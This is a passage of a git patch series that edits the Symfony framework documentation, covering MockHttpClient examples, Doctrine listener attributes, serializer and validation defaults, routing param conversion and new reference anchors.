
diff --git a/http_client.rst b/http_client.rst
index aabebe87ac9..d76b84a18fd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1758,6 +1758,33 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
+You can also pass a list of callbacks if you need to perform specific
+assertions on the request before returning the mocked response::
+
+    $expectedRequests = [
+        function ($method, $url, $options) {
+            $this->assertSame('GET', $method);
+            $this->assertSame('https://example.com/api/v1/customer', $url);
+
+            return new MockResponse('...');
+        },
+        function ($method, $url, $options) {
+            $this->assertSame('POST', $method);
+            $this->assertSame('https://example.com/api/v1/customer/1/products', $url);
+
+            return new MockResponse('...');
+        },
+    ];
+
+    $client = new MockHttpClient($expectedRequest);
+
+    // ...
+
+.. versionadded:: 5.1
+
+    Passing a list of callbacks to the ``MockHttpClient`` was introduced
+    in Symfony 5.1.
+
 .. tip::
 
     Instead of using the first argument, you can also set the (list of)

From ea5c341111961442d2fb57672ce34fd05603d05c Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@liplex.de>
Date: Wed, 1 Mar 2023 08:48:45 +0100
Subject: [PATCH 2991/5766] Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e9f60fdbcbc..84b5e8775b6 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1242,7 +1242,7 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
-Preventing ``null`` value fallback for nullable properties
+Preventing ``null`` Value Fallback for Nullable Properties
 ----------------------------------------------------------
 
 By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.

From ec93ab9e940a97e31c3f0bfb93a3d450e303d817 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Mar 2023 10:27:33 +0100
Subject: [PATCH 2992/5766] [Twig] Update the docs of the twig.debug option

---
 reference/configuration/twig.rst | 3 +++
 templates.rst                    | 2 ++
 2 files changed, 5 insertions(+)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index d7a6e64916b..c686a6fd036 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -155,6 +155,9 @@ debug
 If ``true``, the compiled templates include a ``__toString()`` method that can
 be used to display their nodes.
 
+This option also controls the behavior of :ref:`the Twig dump utilities <twig-dump-utilities>`.
+If this option is ``false``, the ``dump()`` function doesn't output any contents.
+
 .. _config-twig-default-path:
 
 default_path
diff --git a/templates.rst b/templates.rst
index bc21e1de06a..3f451faa0f9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -818,6 +818,8 @@ and also to check the Twig features added when :ref:`installing packages <symfon
     # pass a template path to show the physical file which will be loaded
     $ php bin/console debug:twig @Twig/Exception/error.html.twig
 
+.. _twig-dump-utilities:
+
 The Dump Twig Utilities
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From 053453211136f39a7e20c588ace712c19329d557 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Mar 2023 16:36:58 +0100
Subject: [PATCH 2993/5766] Minor tweak

---
 messenger.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index d6f4c791112..8769d28e579 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -709,7 +709,8 @@ and ``user`` to the Unix user on your server.
 If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
-file, which you can then refer to in ``messenger.yaml`` (see Redis section below):
+file, which you can then refer to in ``messenger.yaml``
+(see the ref:`Redis section <messenger-redis-transport>` below):
 
 .. code-block:: ini
 
@@ -1575,6 +1576,8 @@ ttr                 The message time to run before it
                     - in seconds.                        90
 ==================  ===================================  ======================
 
+.. _messenger-redis-transport:
+
 Redis Transport
 ~~~~~~~~~~~~~~~
 

From 0faacd5e6fb1cca8931ff4cba475968ef0710197 Mon Sep 17 00:00:00 2001
From: Jerome Gangneux <jgangneux@jolicode.com>
Date: Thu, 23 Feb 2023 16:26:54 +0100
Subject: [PATCH 2994/5766] [Form] Removed jQuery in favour of vanilla
 Javascript

---
 reference/forms/types/collection.rst | 108 ---------------------------
 1 file changed, 108 deletions(-)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 9c4688c0048..b88fcde794a 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -86,114 +86,6 @@ existing addresses. Adding new addresses is possible by using the `allow_add`_
 option (and optionally the `prototype`_ option) (see example below). Removing
 emails from the ``emails`` array is possible with the `allow_delete`_ option.
 
-Adding and Removing Items
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If `allow_add`_ is set to ``true``, then if any unrecognized items are submitted,
-they'll be added seamlessly to the array of items. This is great in theory,
-but takes a little bit more effort in practice to get the client-side JavaScript
-correct.
-
-Following along with the previous example, suppose you start with two
-emails in the ``emails`` data array. In that case, two input fields will
-be rendered that will look something like this (depending on the name of
-your form):
-
-.. code-block:: html
-
-    <input type="email" id="form_emails_0" name="form[emails][0]" value="foo@foo.com"/>
-    <input type="email" id="form_emails_1" name="form[emails][1]" value="bar@bar.com"/>
-
-To allow your user to add another email, just set `allow_add`_ to ``true``
-and - via JavaScript - render another field with the name ``form[emails][2]``
-(and so on for more and more fields).
-
-To help make this easier, setting the `prototype`_ option to ``true`` allows
-you to render a "template" field, which you can then use in your JavaScript
-to help you dynamically create these new fields. A rendered prototype field
-will look like this:
-
-.. code-block:: html
-
-    <input type="email"
-        id="form_emails___name__"
-        name="form[emails][__name__]"
-        value=""
-    />
-
-By replacing ``__name__`` with some unique value (e.g. ``2``),
-you can build and insert new HTML fields into your form.
-
-Using jQuery, a simple example might look like this. If you're rendering
-your collection fields all at once (e.g. ``form_row(form.emails)``), then
-things are even easier because the ``data-prototype`` attribute is rendered
-automatically for you (with a slight difference - see note below) and all
-you need is this JavaScript code:
-
-.. code-block:: javascript
-
-    // add-collection-widget.js
-    jQuery(document).ready(function () {
-        jQuery('.add-another-collection-widget').click(function (e) {
-            var list = jQuery(jQuery(this).attr('data-list-selector'));
-            // Try to find the counter of the list or use the length of the list
-            var counter = list.data('widget-counter') || list.children().length;
-
-            // grab the prototype template
-            var newWidget = list.attr('data-prototype');
-            // replace the "__name__" used in the id and name of the prototype
-            // with a number that's unique to your emails
-            // end name attribute looks like name="contact[emails][2]"
-            newWidget = newWidget.replace(/__name__/g, counter);
-            // Increase the counter
-            counter++;
-            // And store it, the length cannot be used if deleting widgets is allowed
-            list.data('widget-counter', counter);
-
-            // create a new list element and add it to the list
-            var newElem = jQuery(list.attr('data-widget-tags')).html(newWidget);
-            newElem.appendTo(list);
-        });
-    });
-
-And update the template as follows:
-
-.. code-block:: html+twig
-
-    {{ form_start(form) }}
-        {# ... #}
-
-        {# store the prototype on the data-prototype attribute #}
-        <ul id="email-fields-list"
-            data-prototype="{{ form_widget(form.emails.vars.prototype)|e }}"
-            data-widget-tags="{{ '<li></li>'|e }}"
-            data-widget-counter="{{ form.emails|length }}">
-        {% for emailField in form.emails %}
-            <li>
-                {{ form_errors(emailField) }}
-                {{ form_widget(emailField) }}
-            </li>
-        {% endfor %}
-        </ul>
-
-        <button type="button"
-            class="add-another-collection-widget"
-            data-list-selector="#email-fields-list">Add another email</button>
-
-        {# ... #}
-    {{ form_end(form) }}
-
-    <script src="add-collection-widget.js"></script>
-
-.. tip::
-
-    If you're rendering the entire collection at once, then the prototype
-    is automatically available on the ``data-prototype`` attribute of the
-    element (e.g. ``div`` or ``table``) that surrounds your collection.
-    The only difference is that the entire "form row" is rendered for you,
-    meaning you wouldn't have to wrap it in any container element as it
-    was done above.
-
 Field Options
 -------------
 

From 8bbc8544dd41e04b58c9921d53d99900fb690355 Mon Sep 17 00:00:00 2001
From: Prakash Thapa <prakash@kathcodex.com>
Date: Thu, 2 Mar 2023 02:42:42 +0545
Subject: [PATCH 2995/5766] updated the casted interface name as per the
 implemented interface

---
 security/passwords.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 7a956d44b1d..6cd70f10a9b 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -464,13 +464,14 @@ storing the newly created password hash::
     namespace App\Repository;
 
     // ...
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
 
     class UserRepository extends EntityRepository implements PasswordUpgraderInterface
     {
         // ...
 
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void
         {
             // set the new hashed password on the User object
             $user->setPassword($newHashedPassword);

From c01f434ea63951c27909aa051f16fbd0abc1265b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 09:03:34 +0100
Subject: [PATCH 2996/5766] Tweaks

---
 reference/constraints/Cascade.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index c4127e6c9dc..b2178cd2a5a 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -6,9 +6,10 @@ Cascade
     The :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` was
     introduced in Symfony 5.2 and requires PHP 7.4.
 
-The Cascade constraint is used to validate a whole class. It allows to
-omit to add the :doc:`/reference/constraints/Valid` constraint on each
-child object of your class you want to validate.
+The Cascade constraint is used to validate a whole class, including all the
+objects that might be stored in its properties. Thanks to this constraint,
+you don't need to add the :doc:`/reference/constraints/Valid` constraint on
+every child object that you want to validate in your class.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
@@ -20,7 +21,7 @@ Basic Usage
 
 In the following example, the
 :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` constraint
-will tell the validator to validate all fields of the class, including
+will tell the validator to validate all properties of the class, including
 constraints that are set in the child classes ``BookMetadata`` and
 ``Author``:
 

From 7c50428d8315948cc1d59a5d67870ae92d2704e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 09:06:00 +0100
Subject: [PATCH 2997/5766] Remove unneeded versionadded directives

---
 http_client.rst                   |  5 -----
 reference/constraints/Cascade.rst | 31 -------------------------------
 2 files changed, 36 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 27f86b05753..04d3f0cc24b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1783,11 +1783,6 @@ assertions on the request before returning the mocked response::
 
     // ...
 
-.. versionadded:: 5.1
-
-    Passing a list of callbacks to the ``MockHttpClient`` was introduced
-    in Symfony 5.1.
-
 .. tip::
 
     Instead of using the first argument, you can also set the (list of)
diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index b2178cd2a5a..5880fdd6389 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -1,11 +1,6 @@
 Cascade
 =======
 
-.. versionadded:: 5.2
-
-    The :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` was
-    introduced in Symfony 5.2 and requires PHP 7.4.
-
 The Cascade constraint is used to validate a whole class, including all the
 objects that might be stored in its properties. Thanks to this constraint,
 you don't need to add the :doc:`/reference/constraints/Valid` constraint on
@@ -27,32 +22,6 @@ constraints that are set in the child classes ``BookMetadata`` and
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/BookCollection.php
-        namespace App\Model;
-
-        use App\Model\Author;
-        use App\Model\BookMetadata;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\Cascade
-         */
-        class BookCollection
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            protected $name = '';
-
-            public BookMetadata $metadata;
-
-            public Author $author;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/BookCollection.php

From e992925ca9f79212b9504e9475dbb90b382afeb0 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 27 Feb 2023 10:28:02 +0100
Subject: [PATCH 2998/5766] [HttpCache] Add example with an attribute

---
 http_cache/cache_invalidation.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4ae2639224b..5027e76299f 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -90,6 +90,22 @@ Then, register the class as a service that :doc:`decorates </service_container/s
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/CacheKernel.php
+        namespace App;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+        #[Autoconfigure(bind: ['$surrogate' => '@?esi'])]
+        #[AsDecorator(decorates: 'http_cache')]
+        class CacheKernel extends HttpCache
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From 8d23c6445efdc71df5e5e7cf6bca4ddc590af214 Mon Sep 17 00:00:00 2001
From: Artur <afijalkowski@op.pl>
Date: Thu, 2 Mar 2023 09:59:17 +0100
Subject: [PATCH 2999/5766] Update dic_tags.rst

Update documentation to reference correct priorities of default normalizers location
---
 reference/dic_tags.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index e6b1d44aa69..a60ee5484f9 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1028,9 +1028,7 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`.
 
 For more details, see :doc:`/serializer`.
 
-The priorities of the default normalizers can be found in the
-:method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
-method.
+The priorities of the default normalizers can be found in the `serializer.php`_ file.
 
 .. _dic-tags-translation-loader:
 
@@ -1415,3 +1413,4 @@ Bridge.
 .. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
+.. _`serializer.php`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Resources/config/serializer.php

From 61aa75bbbebf3e48b1607b5b8d02ee30d535f9c2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 23 Feb 2023 11:11:28 +0100
Subject: [PATCH 3000/5766] [Doctrine] add `AsDoctrineListener` attribute

---
 doctrine/events.rst | 23 +++++++++++++++++++----
 1 file changed, 19 insertions(+), 4 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 1927f89a04c..2d22c0f8947 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -143,9 +143,24 @@ do so, define a listener for the ``postPersist`` Doctrine event::
         }
     }
 
-The next step is to enable the Doctrine listener in the Symfony application by
-creating a new service for it and :doc:`tagging it </service_container/tags>`
-with the ``doctrine.event_listener`` tag:
+Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
+a Doctrine listener in your application::
+
+        // src/EventListener/SearchIndexer.php
+        namespace App\EventListener;
+
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+        use Doctrine\ORM\Events;
+
+        #[AsDoctrineListener(event: Events::postPersist, priority: 500, connection: 'default')]
+        class SearchIndexer
+        {
+            // ...
+        }
+
+Alternatively, if you prefer to not use PHP attributes, you mustenable the Doctrine listener in the Symfony application by creating a new 
+service for it and :doc:`tagging it </service_container/tags>` with 
+the ``doctrine.event_listener`` tag:
 
 .. configuration-block::
 
@@ -272,7 +287,7 @@ a Doctrine entity listener in your application::
             // ...
         }
 
-That's it. Alternatively, if you prefer to not use PHP attributes, you must
+Alternatively, if you prefer to not use PHP attributes, you must
 configure a service for the entity listener and :doc:`tag it </service_container/tags>`
 with the ``doctrine.orm.entity_listener`` tag as follows:
 

From 8f3d6186d0601d472a22cf5405c4d34ef1e0307d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 2 Mar 2023 10:19:37 +0100
Subject: [PATCH 3001/5766] Add `Cascade` to list

---
 reference/constraints.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 34ed5d08dab..aa9829b535a 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -77,6 +77,7 @@ Validation Constraints Reference
    constraints/Valid
    constraints/Traverse
    constraints/CssColor
+   constraints/Cascade
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In

From 4a2baf9bbbe10444482ed9e809bcac87bbd80184 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 10:20:42 +0100
Subject: [PATCH 3002/5766] Minor tweak

---
 doctrine/events.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 2d22c0f8947..c454366b17e 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -158,9 +158,9 @@ a Doctrine listener in your application::
             // ...
         }
 
-Alternatively, if you prefer to not use PHP attributes, you mustenable the Doctrine listener in the Symfony application by creating a new 
-service for it and :doc:`tagging it </service_container/tags>` with 
-the ``doctrine.event_listener`` tag:
+Alternatively, if you prefer to not use PHP attributes, you must enable the
+listener in the Symfony application by creating a new service for it and
+:doc:`tagging it </service_container/tags>` with the ``doctrine.event_listener`` tag:
 
 .. configuration-block::
 

From 3c3a6b4f326b14fb5f8107b07801163e30b7a44c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 11:47:25 +0100
Subject: [PATCH 3003/5766] Reword

---
 reference/dic_tags.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index a60ee5484f9..90aa2f253de 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1028,7 +1028,11 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`.
 
 For more details, see :doc:`/serializer`.
 
-The priorities of the default normalizers can be found in the `serializer.php`_ file.
+Run the following command to check the priorities of the default normalizers:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag serializer.normalizer
 
 .. _dic-tags-translation-loader:
 

From b192c44f87a878bbca7e2a995f83fb0ce091ed55 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 11:48:17 +0100
Subject: [PATCH 3004/5766] Remove an unused reference

---
 reference/dic_tags.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 90aa2f253de..e707808e7e2 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1417,4 +1417,3 @@ Bridge.
 .. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
-.. _`serializer.php`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Resources/config/serializer.php

From a540844a7f890b0a7b28b5f7cfb9b4a3556eb9f6 Mon Sep 17 00:00:00 2001
From: Bastien Jaillot <bjaillot@jolicode.com>
Date: Thu, 2 Mar 2023 22:18:01 +0100
Subject: [PATCH 3005/5766] enable_annotations is enabled by default

Not sure at 100% of the use of `FullStack` means, but in a default Symfony app `enable_annotations` is always true.

```bash
php bin/console config:dump-reference framework
```

```yaml
    validation:
        enabled:              true
        cache:                ~
        enable_annotations:   true

    # serializer configuration
    serializer:
        enabled:              true
        enable_annotations:   true
```
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d3e01eb112b..284617862f9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2512,7 +2512,7 @@ settings is configured.
 enable_annotations
 ..................
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``true``
 
 If this option is enabled, validation constraints can be defined using annotations or attributes.
 
@@ -2720,7 +2720,7 @@ Whether to enable the ``serializer`` service or not in the service container.
 enable_annotations
 ..................
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``true``
 
 If this option is enabled, serialization groups can be defined using annotations or attributes.
 

From 93ef670060d2353b271b427356a9fc88788929eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Mar 2023 13:06:12 +0100
Subject: [PATCH 3006/5766] Minor tweak

---
 event_dispatcher.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 51c51fa9102..434d0f409e3 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -221,9 +221,8 @@ can also be applied to methods directly::
 
 .. note::
 
-    You can notice that the attribute doesn't require its ``event``
-    parameter to be set if the method already type-hints the
-    expected event.
+    Note that the attribute doesn't require its ``event`` parameter to be set
+    if the method already type-hints the expected event.
 
 .. _events-subscriber:
 

From dd90e0a4839f1962f3dd1e0c7bf27b2d895053ad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Mar 2023 13:19:35 +0100
Subject: [PATCH 3007/5766] Renamed the attribute to AsDoctrineListener

---
 doctrine/events.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 99cf0ea1896..8769c44211d 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -169,10 +169,10 @@ listener in the Symfony application by creating a new service for it and
         // src/App/EventListener/SearchIndexer.php
         namespace App\EventListener;
 
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEventListener;
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
         use Doctrine\ORM\Event\LifecycleEventArgs;
 
-        #[AsEventListener('postPersist'/*, 500, 'default'*/)]
+        #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
         class SearchIndexer
         {
             public function postPersist(LifecycleEventArgs $event): void
@@ -251,10 +251,9 @@ listener in the Symfony application by creating a new service for it and
             ;
         };
 
-
 .. versionadded:: 2.7.2
 
-    The :class:`Doctrine\\Bundle\\DoctrineBundle\\Attribute\\AsEventListener` 
+    The :class:`Doctrine\\Bundle\\DoctrineBundle\\Attribute\\AsDoctrineListener`
     attribute was introduced in DoctrineBundle 2.7.2.
 
 .. tip::

From 58979f63886671d0e6a8341bbc36b50868fd45bd Mon Sep 17 00:00:00 2001
From: OrangeVinz <orangevinz@gmail.com>
Date: Fri, 3 Mar 2023 16:55:38 +0100
Subject: [PATCH 3008/5766] Update mailer.rst

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index be0414c3f56..04f34ebd788 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1576,3 +1576,8 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`App Password`: https://support.google.com/accounts/answer/185833
+
+.. tip::
+
+    If you're using Messenger you should use ``$this->assertQueuedEmailCount(1);`` instead.
+    

From aafff2847fbabc3b02d70c7e93be8afd10bd354d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Mar 2023 17:23:17 +0100
Subject: [PATCH 3009/5766] [Routing[ Mention that param converters are now
 native

---
 routing.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/routing.rst b/routing.rst
index af8cc4553ed..6a5fb801c34 100644
--- a/routing.rst
+++ b/routing.rst
@@ -949,11 +949,11 @@ A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
 represents the user). This feature is called a "param converter".
 
-To add support for "param converters" we need SensioFrameworkExtraBundle:
-
-.. code-block:: terminal
+.. versionadded:: 6.2
 
-    $ composer require sensio/framework-extra-bundle
+    Starting from Symfony 6.2, route param conversion is a built-in feature.
+    In previous Symfony versions you had to install the package
+    ``sensio/framework-extra-bundle`` before using this feature.
 
 Now, keep the previous route configuration, but change the arguments of the
 controller action. Instead of ``string $slug``, add ``BlogPost $post``::
@@ -984,8 +984,9 @@ this case), the "param converter" makes a database request to find the object
 using the request parameters (``slug`` in this case). If no object is found,
 Symfony generates a 404 response automatically.
 
-Read the `full param converter documentation`_ to learn about the converters
-provided by Symfony and how to configure them.
+Check out the `Doctrine param conversion documentation <doctrine-entity-value-resolver>`_
+to learn about the ``#[MapEntity]`` attribute that can be used to customize the
+database queries used to fetch the object from the route parameter.
 
 Special Parameters
 ~~~~~~~~~~~~~~~~~~
@@ -2672,5 +2673,4 @@ Learn more about Routing
 
 .. _`PHP regular expressions`: https://www.php.net/manual/en/book.pcre.php
 .. _`PCRE Unicode properties`: https://www.php.net/manual/en/regexp.reference.unicode.php
-.. _`full param converter documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`FOSJsRoutingBundle`: https://github.com/FriendsOfSymfony/FOSJsRoutingBundle

From 46981e74265af313c8965b13938beaf7008ff196 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 5 Mar 2023 09:47:09 +0100
Subject: [PATCH 3010/5766] [Attributes] Add attributes overview

---
 components/serializer.rst                     |  8 ++
 console.rst                                   |  6 +-
 event_dispatcher.rst                          |  2 +
 reference/attributes.rst                      | 77 +++++++++++++++++++
 reference/map.rst.inc                         |  1 +
 serializer.rst                                |  2 +
 service_container.rst                         |  2 +
 service_container/autowiring.rst              |  2 +
 .../service_subscribers_locators.rst          |  4 +
 service_container/tags.rst                    |  4 +
 10 files changed, 106 insertions(+), 2 deletions(-)
 create mode 100644 reference/attributes.rst

diff --git a/components/serializer.rst b/components/serializer.rst
index 347d04dd72f..4034de81a5e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -465,6 +465,8 @@ If some serialization groups are set, only attributes allowed by those groups ca
 
 As for groups, attributes can be selected during both the serialization and deserialization process.
 
+.. _serializer_ignoring-attributes:
+
 Ignoring Attributes
 -------------------
 
@@ -677,6 +679,8 @@ processes::
     $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person');
     // Person object with firstName: 'Anne'
 
+.. _serializer_name-conversion:
+
 Configure name conversion using metadata
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1436,6 +1440,8 @@ having unique identifiers::
     var_dump($serializer->serialize($org, 'json'));
     // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
 
+.. _serializer_handling-serialization-depth:
+
 Handling Serialization Depth
 ----------------------------
 
@@ -1751,6 +1757,8 @@ will be thrown. The type enforcement of the properties can be disabled by settin
 the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT``
 to ``true``.
 
+.. _serializer_interfaces-and-abstract-classes:
+
 Serializing Interfaces and Abstract Classes
 -------------------------------------------
 
diff --git a/console.rst b/console.rst
index 256cfc5d403..1e13234ecd0 100644
--- a/console.rst
+++ b/console.rst
@@ -217,6 +217,8 @@ available in the ``configure()`` method::
         }
     }
 
+.. _console_registering-the-command:
+
 Registering the Command
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -548,13 +550,13 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
         $application->setAutoExit(false);
 
         $tester = new ApplicationTester($application);
-        
+
 
 .. caution::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass an
     empty value to them::
-    
+
         $commandTester = new CommandTester($command);
         $commandTester->execute(['--some-option' => '']);
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 434d0f409e3..7f9adf284bc 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -143,6 +143,8 @@ listener class:
        method (which makes event listeners invokable);
     #. If the ``__invoke()`` method is not defined either, throw an exception.
 
+.. _event-dispatcher_event-listener-attributes:
+
 Defining Event Listeners with PHP Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
new file mode 100644
index 00000000000..98404e5c9f2
--- /dev/null
+++ b/reference/attributes.rst
@@ -0,0 +1,77 @@
+.. index::
+    single: Attributes
+
